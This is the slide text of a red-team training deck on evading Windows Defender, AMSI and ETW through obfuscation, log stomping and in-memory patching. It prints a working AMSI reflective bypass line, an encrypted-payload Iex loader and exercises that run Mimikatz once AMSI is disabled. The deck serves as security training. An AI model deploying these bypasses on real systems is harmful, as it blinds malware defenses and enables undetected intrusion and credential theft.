Evading Detection - A Beginner's Guide To Obfuscation
Evading Detection - A Beginner's Guide To Obfuscation
@bcsecurity1
1
What Are We Going to Cover
1. Goals of Obfuscation
2. AMSI/Defender Overview
3. Methods of Detection
4. Analyzing Scripts and Code
5. AMSI/ETW Bypasses
2
whoami
ANTHONY ROSE JAKE KRASNOV VINCENT ROSE
CX01N HUBBL3 VINNYBOD
• Lead Security Researcher ◦ Red Team Operations Lead ◦ Lead Software Engineer
• MS in Electrical Engineering ◦ BS in Astronautical Engineering, MBA ◦ BS in Computer Science
• Lockpicking Hobbyist ◦ Embedded system security specialist ◦ Starkiller Creator
• Bluetooth & Wireless Security
Enthusiast
3
Class Resources
•Repository includes:
▪Slides
▪Samples
▪Exercises
▪Tools
▪Resources
•GitHub: https://github.com/BC-SECURITY/Beginners-Guide-to-
Obfuscation
4
Focus for Today
•Focusing on obfuscation and evasion for .NET code
•A fairly heavy emphasis on PowerShell
▪Heuristic detections by AMSI/Defender are significantly more robust for
the PowerShell Runtime compared to the CLR
▪ Trivial to evade detection by Defender for CLR programs
•All the underlying principles apply to any programming language
▪Specific techniques may change
5
Goals of Obfuscation
•There are two primary reasons for obfuscating code:
▪Prevent Reverse Engineering
▪Evade detection by Anti-Virus and Hunters
6
Preventing Reverse Engineering
•Protecting IP
▪Most companies obfuscate compiled
code to protect proprietary processes
•Hide infrastructure
▪What is the C2 address?
▪What communication channels are
being used?
▪Where are the internal pivot points?
7
What is Evasion?
• Consists of techniques that
adversaries use to avoid
detection
•Examples:
▪Disabling Security Software
▪Obfuscation
▪Encryption
▪Blending into network traffic
(Normal Operations)
▪Leverage trusted processes
▪3rd Party Communication
8
What evasion can and can’t do
• Can: •Can’t:
▪Change indicators of compromise ▪Erase all indicators
▪Extend response time of defenders
9
What are Indicators of Compromise?
•Forensic evidence of potential attacks on a network
•These artifacts allow for Blue Teams to detect intrusion and
remediate malicious activity
10
What is Blue’s Kill Chain?
•Specter Ops: Funnel of Fidelity
▪Start with weak indicators to create initial detections
▪Look for stronger indicators as the funnel narrows
11
Parsing Logs with Event
Viewer
12
What is Event Viewer
•Application for interacting with a majority of applications and
system event logs
•Often accessible as a general user
▪Can’t modify logs though
▪PowerShell logs are a good place to check for admin credentials
• Logs can also be parsed with other command line tools such as:
▪Get-EventLog
▪Log Parser
▪Python-etvx
13
Event Viewer
14
Event Viewer – PowerShell Logs
15
Event Viewer – PowerShell Logs
•Applications and Services Logs > Microsoft > Windows >
PowerShell > Operational
16
Exercise 1: Logs
1. Analyze the Windows Event Logs for suspicious behavior using
Event Viewer open the provided log files from the Git Repo
▪Are there any logs that look suspicious to you?
▪If so, why?
▪Do you think the executed code could have been changed to make it less
suspicious?
17
Overview of the steps of the funnel
•Specter Ops: Funnel of Fidelity
18
Step 1: Collection
• Made up of all the telemetry an
organization is collecting
• Sources include everything
from firewalls to AMSI to
NetFlow data
• Usually difficult to avoid all
collection
19
Step 2: Detection
• Defenders start determining what is
malicious and what is not
▪ Automatic Detections & Manual
Detections
▪ Benefits from a well baselined network
• Typical network indicators
▪ Known user agent strings
▪ High entropy byte strings in HTTP POST
messages
▪ Unusual communications with the
internet or other machines
▪ External attempts to log into
infrastructure
20
Step 3: Triage
•Starting to get a little more
scrutiny from defenders
▪Manual review is being
implemented
•Defenders are trying to sort the
False Positives from the real
alerts
•Alert Fatigue is a major
struggle for many
organizations
21
Step 4: Investigation
•Hands on analysis is beginning to happen
▪Investigating specific activity artifacts like binaries and file systems
•At this point an activity has been confirmed to be of concern
▪Trying to determine if an alert was malicious or just unusual activity
22
Step 5: Remediation
•Final step and it’s pretty hard to stop
▪The malicious activity has been positively identified at this point
•Try hiding
▪Make sure to have plan for removal if successful
•Try not to give away other infection points
▪Stager retries are useful here
23
What Do We Do About the Funnel?
•The Funnel is effectively the Blue Team’s kill chain
▪If we can break or exit the process at any step, we have effectively not
been detected
•So how do we break it?
24
How to Beat Collection
• We probably can’t avoid this
completely
• Traffic must go through
firewalls, routers, etc.
• If we can identify the collector,
we can potentially disable it:
▪Disable Script Block logging
▪Turn off NetFlow collection on a
router
25
How to Beat Detection
•Where Red Team’s spend most of their effort
•Blend into the standard traffic
•Obfuscation to avoid malicious signatures
•Follow normal traffic flows
▪A random machine logging into a router is probably pretty strange
26
How to Beat Triage
•Starting to get a little more scrutiny from defenders
•Blend into the alerts!
▪Use AV logs to see if anything causes a lot of alerts
▪Abuse of alert fatigue
•Abuse assumptions (mini social engineering)
27
How to Beat Investigation
•Hands on analysis is beginning to happen
•At this point an activity has been identified as malicious
•Prevent them from knowing what is going on
▪Stomp logs
▪Obfuscate payloads
▪Hide
28
How Does AV and EDR
Detect Malware?
29
Static Detection Methods
•How does AV do its logical detection?
•Hashes
▪Simply hashing the file and comparing it to a database of
known signatures
▪Extremely fragile, any changes to the file will change the
entire signature
•Byte Matching (String Match)
▪Matching a specific pattern of bytes within the code
•i.e. The presence of the word Mimikatz or a known memory
structure
30
Static Detection Methods
•Hash Scanning
▪Hybrid of the above two methods
▪Hash sections of code and look for matches
•Heuristics
▪File structure
▪Logic Flows (Abstract Syntax Trees (AST), Control Flow Graphs
(CFG), etc.)
▪Rule based detections (if x & y then malicious)
•These can also be thought of as context-based detections
▪Often uses some kind of aggregate risk for probability of
malicious file
31
Dynamic Detection (Behavioral Analysis)
•Classification Detection
•Sandboxing
▪Execute code in a safe space
and analyze what it does
•System Logs and Events
▪Event Tracing for Windows
•API Hooking
32
AMSI and Fileless
Malware
33
What Is AMSI?
• The Windows Antimalware
Scan Interface (AMSI) is a
versatile interface standard
that allows your applications
and services to integrate with
any antimalware product that's
present on a machine. AMSI
provides enhanced malware
protection for your end-users
and their data, applications,
and workloads.
34
That’s Great But What Does that Mean?
•Evaluates commands at run time
•Handles multiple scripting
languages (PowerShell, JavaScript,
VBA)
•As of .NET 4.8, integrated into CLR
and will inspect assemblies when
the load function is called
•Provides an API that is AV agnostic
•Identify fileless threats
35
Data Flow
36
Interesting Note About the CLR Hooks
•Based upon the CLRCore port AMSI is only called when
Assembly.Load() is called
// Here we will invoke into AmsiScanBuffer, a centralized area for non-OS
// programs to report into Defender (and potentially other anti-malware tools).
// This should only run on in memory loads, Assembly.Load(byte[]) for example.
// Loads from disk are already instrumented by Defender, so calling AmsiScanBuffer
// wouldn't do anything.
• https://github.com/dotnet/coreclr/pull/23231/files
•Project that abuses this:
▪https://github.com/G0ldenGunSec/SharpTransactedLoad
37
The Problem of Human vs Machine Analysis
•Using automated obfuscation
tools can easily produce
obfuscated code that is capable
of evading static analysis
•Heavily obfuscated code will
immediately jump out to a
human analyst as suspicious
▪Pits Logical Evasion against
Classification Evasion
38
Un-Obfuscated Code
39
Heavily Obfuscated Code
40
Obfuscating Static
Signatures
41
Unravelling Obfuscation (PowerShell)
The code is evaluated when it is readable by the scripting engine
This means that:
PS C:\Users\> powershell -enc
VwByAGkAdABlAC0ASABvAHMAdAAoACIAdABlAHMAdAAiACkA
becomes:
PS C:\Users\> Write-Host(“test”)
However:
PS C:\Users\> Write-Host (“te”+“st”)
Does not become:
PS C:\Users\> Write-Host (“test”)
This is what allows us to still be able to obfuscate our code
42
What Can We Do?
•Modify our hash
•Modify byte strings
•Modify the structure of our code
43
Modifying the Hash
44
Randomized Capitalization Changes Our Hash
• PowerShell ignores capitalization
• Create a standard variable
PS C:\Users\> $test = “hello world”
45
Modifying Byte Strings
•There are a lot of options available here
▪Change variable names
▪Concatenation
▪Variable insertion
▪Potentially the order of execution
▪For C# changing the variable type (i.e list vs array)
46
Variable Insertion (PowerShell)
•PowerShell recognizes $ as a special character in a string
and will fetch the associated variable.
47
Variable Insertion (C#)
•As of C# 6 there is a similar method that we can use
•If you use a decompiler to examine your file this will look the
same as doing concatenation but does produce a different file
hash
48
Format String (PowerShell)
• PowerShell allows for the use of {} inside a string to allow for variable
insertion. This is an implicit reference to the format string function.
$test = “amsicontext” will be flagged
50
Encrypted Strings
Encrypting
$secureString = ConvertTo-SecureString -String ‘<payload>' -AsPlainText -force
$encoded = ConvertFrom-SecureString -k (0..15) $secureString > <output file>
Execution
$encoded = <encoded payload>
$Ref = [REF].Assembly.GetType('System.Management.Automation.AmsiUtils’);
$Ref.GetField(‘AmsiInitFailed','NonPublic,Static’).SetValue($null, $true);
$credential = [System.Management.Automation.PSCredential]::new("tim",(ConvertTo-SecureString -k (0..15)
$encoded))
Iex $credential.GetNetworkCredential().Password
51
What the Hell are Syntax Trees?
• Represents source code in both
compiled and interpreted
languages
•Creates a tree-like
representation of a
script/command
while b ≠ 0
if a > b
a := a − b
else
b := b − a
return a
52
Abstract Syntax Tree (AST)
53
Example Obfuscation Process
• Break the code into pieces
▪Identify any words that may be OBFUSCATION
specific triggers
•Identify of any chunks that
trigger an alert
• Run the code together
•Start changing structure
▪If you want to go down the rabbit
hole, start analyzing your ASTs
54
Staged vs Stagless
• Scripts and Assemblies are
typically evaluated individually
as they are loaded
▪There will still be some carry over
of the risk rating
• Trade off of increased network
traffic to less “malicious” code
to be identified
55
Exercise 2: PowerShell Obfuscation
1. Obfuscate samples 1-3
•Hints
1. Break large sections of code into smaller
pieces
2. Isolate fewer lines to determine what is
being flagged
3. Good place to start is looking for “AMSI”
56
ThreatCheck
•Scans binaries or files for
C:\> ThreatCheck.exe --help
-e, --engine (Default: Defender) Scanning engine. Options: Defender, AMSI
-f, --file Analyze a file on disk
•GitHub
00000020 3A 00 7B 00 33 00 7D 00 7D 00 7D 00 00 43 7B 00 :·{·3·}·}·}··C{·
00000030 7B 00 22 00 73 00 74 00 61 00 74 00 75 00 73 00 {·"·s·t·a·t·u·s·
00000040 22 00 3A 00 22 00 7B 00 30 00 7D 00 22 00 2C 00 "·:·"·{·0·}·"·,·
00000050 22 00 6F 00 75 00 74 00 70 00 75 00 74 00 22 00 "·o·u·t·p·u·t·"·
▪https://github.com/rasta- 00000060 3A 00 22 00 7B 00 31 00 7D 00 22 00 7D 00 7D 00 :·"·{·1·}·"·}·}·
00000070 00 80 B3 7B 00 7B 00 22 00 47 00 55 00 49 00 44 ·?³{·{·"·G·U·I·D
57
ThreatCheck
•Two Modes
C:\> ThreatCheck.exe --help
-e, --engine (Default: Defender) Scanning engine. Options: Defender, AMSI
-f, --file Analyze a file on disk
▪Defender
-u, --url Analyze a file from a URL
--help Display this help screen.
--version Display version information.
58
Exercise 3: ThreatCheck
1. Download launcher.ps1 and ThreatCheck.exe from:
https://github.com/BC-SECURITY/Beginners-Guide-to-
Obfuscation/tree/main/Exercise%203
2. Determine the line(s) of code that are being flagged by
Defender.
3. Obfuscate the detected line(s) of code so it is no longer flagged
by Defender.
59
Dynamic Evasion
60
What Can We Do?
•Identify “Known Bad” •Corrupt the Detection Process:
▪Sandbox detection ▪Patch AMSI
▪Known hunter/AV processes ▪Patch ETW
▪Unhook APIs
•Change how we are executing:
▪Inject a different way
▪Use a different download
method
▪Circumvent known choke
points (D/invoke vs P/invoke)
61
AMSI Bypass 1: Reflective Bypass
•Simplest Bypass that currently works
•$Ref=[REF].Assembly.GetType('System.Management.Automation.
AmsiUtils');
•$Ref.GetField('amsiInitFailed', 'NonPublic, Static').SetValue($NULL,
$TRUE);
62
What Does it Do?
•Using reflection, we are exposing functions from AMSI
•We are setting the AmsiInitFailed field to True which source code
shows causes AMSI to return:
•AMSI_SCAN_RESULT_NOT_FOUND
63
Why does this work?
•AMSI is loaded into the PowerShell process at start
up, so it has the same permission levels as the
process the malware is in
64
AMSI Bypass 2: Patching AMSI.dll in Memory
•More complicated bypass, but still allows AMSI to load
•Patches AMSI for both the PowerShell and CLR runtime
65
AMSI Bypass 2: Patching AMSI.dll in Memory
•We use C# to export a few functions from kernel32 that allows to
identify where in memory amsi.dll has been loaded
66
AMSI Bypass 2: Patching AMSI.dll in Memory
•We modify the memory permissions to ensure we
have access
67
AMSI Bypass 2: Patching AMSI.dll in Memory
•Modifies the return function to all always return a value of
RESULT_NOT_DETECTED
68
Exercise 4: AMSI Bypasses
1. Run AMSI bypass 1 and load seatbelt from memory
2. Run AMSI bypass 2 and load seatbelt from memory
69
Why Does This Work?
• AMSI.dll is loaded into the
same security context as the
user.
•This means that we have
unrestricted access to the
memory space of AMSI
•Tells the function to return a
clean result prior to actually
scanning
70
AMSITrigger
• AMSITrigger is a tool to identify
malicious strings in PowerShell
files
•Makes calls using
AMSIScanBuffer line by line
• Looks for
AMSI_RESULT_DETECTED
response code
• https://github.com/RythmStick
/AMSITrigger
71
Exercise 5: AMSITrigger
Re-use Launcher.ps1 from Exercise 4
1. Identify any possible lines of code that are being
flagged by AMSI.
2. What lines are they?
3. Obfuscate the lines (if possible)
4. What is the purpose of the block of code being
flagged?
72
AMSI.Fail
• Generates obfuscated AMSI
Bypasses in PowerShell
• Randomly selected and
obfuscated
• No two bypasses have the
same signatures
•Link: https://amsi.fail/
• GitHub:
https://github.com/Flangvik/A
MSI.fail
73
Exercise 6: AMSIFail
1. Determine the block of code that is the AMSI
Bypass
2. Generate a unique AMSI Bypass
3. Replace the existing bypass and rerun against
AMSITrigger
74
Event Tracing
75
Event Tracing for Windows
•Made up of three primary
components
▪Controllers – Build and
configure tracing sessions
▪Providers – Generates
events under there
▪Consumers – Interprets
the generated events
76
Event Tracing for Windows
• Lots of different event providers
• Logs things like process creation and
start/stop
▪.NET hunters can see all kinds of indicators
from it:
• Assembly loading activity,
• Assembly name, function names
• JIT compiling events
• Various alert levels
▪Key words can automatically elevate alert levels
▪Custom levels can be set by providers as well
77
ETW Bypass - PowerShell
•As mentioned, a very effective way of hunting .NET is through the
use of ETW events
•Reflectively modify the PowerShell process to prevent events
being published
▪ETW feeds ALL of the other logs so this disables everything
78
Exercise 7: Mimikatz
1. Disable AMSI
2. Run Invoke-Mimikatz
• https://github.com/BC-SECURITY/Beginners-Guide-to-
Obfuscation/tree/main/Exercise%207
3. Why is Mimikatz being killed?
4. What can we do to prevent it?
5. Any additional malicious flags in the logs?
79
Questions?
I N FO@ BC - S ECUR ITY.ORG
@ BCS ECUR I TY1
HT T P S://WWW.BC - SECU R ITY.ORG/
80